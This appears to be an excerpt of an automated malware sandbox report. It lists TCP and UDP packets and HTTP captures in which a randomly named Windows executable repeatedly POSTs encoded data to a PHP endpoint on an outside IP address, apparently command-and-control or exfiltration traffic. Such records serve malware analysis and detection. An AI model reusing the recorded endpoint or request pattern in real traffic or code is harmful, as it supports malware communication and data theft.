Jan 3, 2025 18:28:45.046704054 CET	57439	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:45.046925068 CET	80	57440	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:45.046966076 CET	57440	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:45.047837019 CET	80	57441	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:45.047894001 CET	57441	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:45.047988892 CET	57441	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:45.052757978 CET	80	57441	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:45.400477886 CET	57441	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:45.405416965 CET	80	57441	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:45.405430079 CET	80	57441	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:45.405437946 CET	80	57441	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:45.762392998 CET	80	57441	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:45.894072056 CET	80	57441	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:45.894121885 CET	57441	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:46.087955952 CET	57441	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:46.088288069 CET	57442	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:46.093132973 CET	80	57442	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:46.093211889 CET	57442	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:46.093270063 CET	80	57441	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:46.093316078 CET	57441	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:46.095597029 CET	57442	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:46.100316048 CET	80	57442	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:46.440026999 CET	57442	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:46.444981098 CET	80	57442	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:46.444993019 CET	80	57442	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:46.445000887 CET	80	57442	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:46.784058094 CET	80	57442	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:46.904617071 CET	57442	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:46.914174080 CET	80	57442	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:47.059096098 CET	57442	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:47.066234112 CET	80	57442	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:47.066961050 CET	57442	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:47.073199034 CET	57443	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:47.080589056 CET	80	57443	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:47.082973957 CET	57443	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:47.083113909 CET	57443	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:47.089469910 CET	80	57443	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:47.441670895 CET	57443	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:47.446636915 CET	80	57443	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:47.446649075 CET	80	57443	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:47.446657896 CET	80	57443	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:47.806369066 CET	80	57443	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:47.939006090 CET	80	57443	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:47.939218044 CET	57443	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:48.106314898 CET	57443	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:48.106539011 CET	57444	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:48.111464024 CET	80	57444	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:48.111669064 CET	57444	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:48.111709118 CET	80	57443	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:48.111759901 CET	57444	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:48.111763000 CET	57443	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:48.118072033 CET	80	57444	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:48.455688000 CET	57444	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:48.460635900 CET	80	57444	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:48.460647106 CET	80	57444	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:48.460654020 CET	80	57444	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:48.830851078 CET	80	57444	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:48.908684015 CET	57444	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:48.962105036 CET	80	57444	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:49.016334057 CET	57444	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:49.134867907 CET	57445	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:49.135407925 CET	57444	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:49.139765024 CET	80	57445	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:49.139832020 CET	57445	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:49.139945984 CET	57445	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:49.140403032 CET	80	57444	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:49.140443087 CET	57444	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:49.144758940 CET	80	57445	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:49.486886978 CET	57445	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:49.491813898 CET	80	57445	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:49.491826057 CET	80	57445	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:49.491833925 CET	80	57445	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:49.786076069 CET	57446	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:49.790924072 CET	80	57446	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:49.791002989 CET	57446	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:49.791121006 CET	57446	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:49.795901060 CET	80	57446	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:49.809020042 CET	57445	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:49.814126015 CET	80	57445	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:49.814181089 CET	57445	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:49.941905022 CET	57447	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:49.947170973 CET	80	57447	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:49.947253942 CET	57447	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:49.947344065 CET	57447	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:49.952689886 CET	80	57447	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:50.143135071 CET	57446	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:50.148021936 CET	80	57446	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:50.148161888 CET	80	57446	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:50.299393892 CET	57447	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:50.304352045 CET	80	57447	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:50.304364920 CET	80	57447	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:50.304373026 CET	80	57447	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:50.508383989 CET	80	57446	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:50.596170902 CET	57446	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:50.641499996 CET	80	57447	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:50.648113966 CET	80	57446	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:50.705569983 CET	57447	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:50.772162914 CET	80	57447	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:50.799300909 CET	57446	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:50.889185905 CET	57446	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:50.889247894 CET	57447	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:50.889497995 CET	57448	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:50.894126892 CET	80	57446	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:50.894187927 CET	57446	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:50.894248962 CET	80	57448	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:50.894340992 CET	57448	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:50.894368887 CET	80	57447	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:50.894414902 CET	57447	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:50.894439936 CET	57448	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:50.899163961 CET	80	57448	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:51.252531052 CET	57448	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:51.257405996 CET	80	57448	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:51.257421970 CET	80	57448	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:51.257431030 CET	80	57448	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:51.583595037 CET	80	57448	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:51.718172073 CET	80	57448	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:51.718230963 CET	57448	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:51.876761913 CET	57449	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:51.882090092 CET	80	57449	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:51.882148981 CET	57449	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:51.882518053 CET	57449	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:51.888016939 CET	80	57449	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:52.236867905 CET	57449	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:52.241805077 CET	80	57449	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:52.241830111 CET	80	57449	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:52.241838932 CET	80	57449	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:52.579243898 CET	80	57449	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:52.706768990 CET	80	57449	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:52.706929922 CET	57449	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:52.825365067 CET	57449	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:52.825550079 CET	57450	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:52.830362082 CET	80	57449	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:52.830404043 CET	80	57450	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:52.830420017 CET	57449	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:52.830466032 CET	57450	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:52.830591917 CET	57450	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:52.835350037 CET	80	57450	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:53.190128088 CET	57450	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:53.195099115 CET	80	57450	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:53.195111036 CET	80	57450	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:53.195118904 CET	80	57450	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:53.510637999 CET	80	57450	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:53.564913034 CET	57450	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:53.641503096 CET	80	57450	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:53.689991951 CET	57450	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:53.761998892 CET	57450	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:53.762106895 CET	57451	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:53.767029047 CET	80	57450	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:53.767044067 CET	80	57451	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:53.767111063 CET	57450	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:53.767143011 CET	57451	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:53.767236948 CET	57451	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:53.771948099 CET	80	57451	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:54.111875057 CET	57451	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:54.117866039 CET	80	57451	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:54.117880106 CET	80	57451	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:54.117888927 CET	80	57451	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:54.454133987 CET	80	57451	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:54.502487898 CET	57451	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:54.588072062 CET	80	57451	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:54.643033028 CET	57451	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:54.701128006 CET	57451	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:54.701422930 CET	57452	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:54.706136942 CET	80	57451	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:54.706185102 CET	57451	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:54.706190109 CET	80	57452	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:54.706280947 CET	57452	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:54.706382990 CET	57452	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:54.711107969 CET	80	57452	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:55.065052986 CET	57452	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:55.070081949 CET	80	57452	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:55.070094109 CET	80	57452	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:55.070101023 CET	80	57452	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:55.399074078 CET	80	57452	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:55.439934969 CET	57452	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:55.529263973 CET	80	57452	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:55.580499887 CET	57452	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:55.658368111 CET	57448	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:55.659296036 CET	57452	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:55.659504890 CET	57453	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:55.660218000 CET	57454	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:55.664258957 CET	80	57452	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:55.664294958 CET	80	57453	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:55.664421082 CET	57452	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:55.664443016 CET	57453	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:55.665038109 CET	80	57454	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:55.665108919 CET	57454	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:55.665174961 CET	57454	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:55.669926882 CET	80	57454	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:56.018091917 CET	57454	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:56.023011923 CET	80	57454	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:56.023026943 CET	80	57454	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:56.023035049 CET	80	57454	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:56.341511965 CET	80	57454	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:56.393001080 CET	57454	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:56.470163107 CET	80	57454	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:56.518013954 CET	57454	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:56.590498924 CET	57454	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:56.590871096 CET	57455	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:56.595628977 CET	80	57454	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:56.595664978 CET	80	57455	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:56.595700026 CET	57454	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:56.595760107 CET	57455	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:56.595877886 CET	57455	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:56.600765944 CET	80	57455	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:56.940021038 CET	57455	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:56.944905996 CET	80	57455	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:56.944917917 CET	80	57455	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:56.944938898 CET	80	57455	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:57.277283907 CET	80	57455	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:57.330610037 CET	57455	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:57.410876036 CET	80	57455	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:57.455600977 CET	57455	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:57.532603025 CET	57456	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:57.537508011 CET	80	57456	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:57.538883924 CET	57456	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:57.539011955 CET	57456	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:57.543762922 CET	80	57456	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:57.893764973 CET	57456	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:57.898675919 CET	80	57456	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:57.898689032 CET	80	57456	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:57.898696899 CET	80	57456	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:58.248367071 CET	80	57456	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:58.299232006 CET	57456	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:58.381906986 CET	80	57456	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:58.424262047 CET	57456	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:58.497173071 CET	57456	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:58.497423887 CET	57457	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:58.503159046 CET	80	57457	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:58.503354073 CET	80	57456	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:58.503361940 CET	57457	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:58.503361940 CET	57457	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:58.503401041 CET	57456	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:28:58.508115053 CET	80	57457	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:59.206984997 CET	80	57457	86.110.194.28	192.168.2.4
Jan 3, 2025 18:28:59.252347946 CET	57457	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:29:02.286885977 CET	80	57455	86.110.194.28	192.168.2.4
Jan 3, 2025 18:29:02.286948919 CET	57455	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:29:09.220582008 CET	80	57457	86.110.194.28	192.168.2.4
Jan 3, 2025 18:29:09.220741987 CET	80	57457	86.110.194.28	192.168.2.4
Jan 3, 2025 18:29:09.221103907 CET	57457	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:29:31.575922966 CET	57457	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:29:31.576837063 CET	57457	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:29:31.580913067 CET	80	57457	86.110.194.28	192.168.2.4
Jan 3, 2025 18:29:31.580925941 CET	80	57457	86.110.194.28	192.168.2.4
Jan 3, 2025 18:29:31.580934048 CET	80	57457	86.110.194.28	192.168.2.4
Jan 3, 2025 18:29:31.581585884 CET	80	57457	86.110.194.28	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 3, 2025 18:27:41.339467049 CET	53	63572	162.159.36.2	192.168.2.4
Jan 3, 2025 18:27:41.858127117 CET	53	49642	1.1.1.1	192.168.2.4

HTTP Request Dependency Graph

86.110.194.28

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	61232	86.110.194.28	80	7896	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 18:27:15.545841932 CET	339	OUT	POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0 Host: 86.110.194.28 Content-Length: 344 Expect: 100-continue Connection: Keep-Alive
Jan 3, 2025 18:27:15.894135952 CET	344	OUT	Data Raw: 05 06 04 04 06 01 04 07 05 06 02 01 02 00 01 05 00 01 05 0e 02 06 03 0a 01 07 0e 03 03 0e 02 01 0f 53 03 0f 03 54 07 0b 0d 04 05 51 00 04 04 06 06 06 0d 01 0d 54 07 00 06 00 04 0d 05 0a 05 0e 00 05 0c 09 07 55 06 52 0f 57 0b 0e 0e 04 0c 52 06 06 Data Ascii: STQTURWRPRS\L}R`T`\r\vuZB~\|S`RhLhMlDoUzpa^knttg^i_~V@{S~}\y
Jan 3, 2025 18:27:16.249403954 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 18:27:16.350332022 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 17:27:16 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 1400 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 56 4a 7d 58 6c 53 59 44 7b 4c 59 59 7f 4f 55 01 7d 01 60 53 7e 60 76 51 6e 70 60 00 6a 71 6c 4b 60 5d 53 0c 7b 62 7d 44 76 58 78 02 69 5b 78 01 55 4b 72 50 74 5c 67 07 68 61 6a 5f 6b 64 76 0a 78 66 70 0c 69 60 77 49 61 62 75 06 60 07 62 5d 7f 61 75 58 69 0a 67 51 7e 49 5e 5a 76 66 7b 06 7c 5c 7e 59 7e 4e 61 4b 6c 5e 6b 5e 6c 67 73 5c 7b 53 51 01 7a 61 63 5b 78 63 7d 5f 7c 5e 74 00 6c 77 63 5a 7d 04 67 4d 76 62 60 4a 7a 51 41 5b 68 59 67 52 7f 5f 7e 50 75 6c 52 03 6c 6c 74 00 60 5e 66 09 7a 71 5f 05 7d 6c 50 4e 7a 72 79 58 61 05 70 5a 76 5f 74 4f 74 71 7a 50 7e 5d 7a 06 60 5b 7d 01 61 66 7c 09 7f 7c 66 5e 77 6f 73 5d 7f 73 6c 07 78 6f 63 03 7b 4e 66 4a 7c 6d 78 08 77 49 6f 5a 69 62 62 09 6a 43 6c 53 6f 7d 61 5d 7d 61 7d 07 7b 5d 46 51 7f 6c 60 43 6a 63 64 40 7e 49 72 05 7a 6e 7c 5f 79 72 74 03 68 07 6b 00 7e 67 63 0b 7c 59 69 09 7a 4d 68 05 6a 5b 7c 48 76 63 57 51 7b 5c 79 02 75 66 68 03 7d 58 68 4f 7e 58 7d 09 76 62 59 00 7f 5c 79 01 7d 67 76 43 78 66 78 4f 7e 4d 59 04 75 62 75 04 76 71 53 00 7c 4f [TRUNCATED] Data Ascii: VJ}XlSYD{LYYOU}`S~`vQnp`jqlK`]S{b}DvXxi[xUKrPt\ghaj_kdvxfpi`wIabu`b]auXigQ~I^Zvf{\|\~Y~NaKl^k^lgs\{SQzac[xc}_\|^tlwcZ}gMvb`JzQA[hYgR_~PulRllt`^fzq_}lPNzryXapZv_tOtqzP~]z`[}af\|\|f^wos]slxoc{NfJ\|mxwIoZibbjClSo}a]}a}{]FQl`Cjcd@~Irzn\|_yrthk~gc\|YizMhj[\|HvcWQ{\yufh}XhO~X}vbY\y}gvCxfxO~MYubuvqS\|OXH~BR@}YUJv_U{buH~pixI^LygtxmgzrVIxsT\|p\|{wpD}\g@u_VH}RgK\|IhA\|a_vBh{ltwN~zO}\|\|j{_rHvMuOdNtqPC\|Nft\mLu[pRit\|xO\|MhxB{J{prDCR@vg`A}bP~CszmTL~reM`t\|\|^pt}Yrz}gD{bpHOgI}Yg`}{c`~b^wMeyaSIwvtK~HR@fawLgK}r}O\|Ib{vR}]{wrqvqiOr}\|t~wu_sxb_J}`SxYx{Ypy}YxrpxMzA{]NZoYcZj[oNvxI}\|xZdxXmbU\|o\|]Z`aUyXmiUb_z\y\}b`g{ZL~JxYyZwb[MaeQQhoiBw\|lh]cY{lgKxpjIh}\|Ntdc]}LySzSYQa~infSqUPPoowTcIRdeXoTtT~cthm`[QtZUkcHNmFS~cX[p\RebFq[F[iv`~v}vahYkbaLdaTx_h\|p`]a\qwXjZaTHilP]AZbdFVq@iTFnsXUkoYUcXx_\|y]f~^\|J{JK\|r]^tv^ioEP{gVSb_aUPkxp_UPLvjQyD\|\DXb`E[rMc[Liy[cTCZXpxSY]A{oSsAQA[oeEQ~AcUCh}TiZNWRy
Jan 3, 2025 18:27:16.350342035 CET	393	IN	Data Raw: 40 6a 71 65 5e 7d 5d 7b 77 65 6b 70 4a 79 59 55 54 51 00 75 47 51 6e 56 43 54 5a 08 48 6b 62 56 43 51 01 03 77 68 63 01 54 7d 5d 56 5c 64 5b 63 02 70 71 5c 4e 57 58 43 5a 74 71 7b 5c 69 65 08 40 52 7a 6e 56 58 61 07 55 6b 04 09 04 50 5d 61 40 53 Data Ascii: @jqe^}]{wekpJyYUTQuGQnVCTZHkbVCQwhcT}]V\d[cpq\NWXCZtq{\ie@RznVXaUkP]a@SgwNipgYw_r`lLqCxXW]RwJTdVCZYZWnEW\|rb^@l`pUdDVng]otubVslkxZu\|YbbGQp`\Sd^kL\UCoohRnf}zSt\|\DXb`E[rMc[Li}A[XjEZ\oMU}][ol\~^s\|T\|TwqqPno@Xd
Jan 3, 2025 18:27:16.411216974 CET	315	OUT	POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0 Host: 86.110.194.28 Content-Length: 384 Expect: 100-continue
Jan 3, 2025 18:27:16.628711939 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 18:27:16.628963947 CET	384	OUT	Data Raw: 5b 55 5e 5e 58 5d 50 5a 54 5b 59 5a 5b 5e 57 53 5f 56 5a 5d 52 51 50 48 5f 5d 5a 59 5e 5e 5a 5c 44 58 51 41 55 52 5b 51 5d 5f 5e 53 55 56 57 59 50 58 43 5d 41 5c 55 50 54 5f 56 59 50 56 59 59 59 56 5e 5a 57 52 5b 54 5b 5d 5c 50 5c 5c 5c 52 51 56 Data Ascii: [U^^X]PZT[YZ[^WS_VZ]RQPH_]ZY^^Z\DXQAUR[Q]_^SUVWYPXC]A\UPT_VYPVYYYV^ZWR[T[]\P\\\RQV[_ZZ_]VRP^\ZZWXZ]U_WY^[XZ[T[G\__^WZ\TS^^^VQU_UY_ZUWRPUX_Q\ZXQXYWTZXUT_^^\Q\Z_UGVF]SZ_QP_P^Z^US__]WX[XU%(>!902 B=()%'6%)Q!$#8 Y$_7'Y W()#Y'$X.
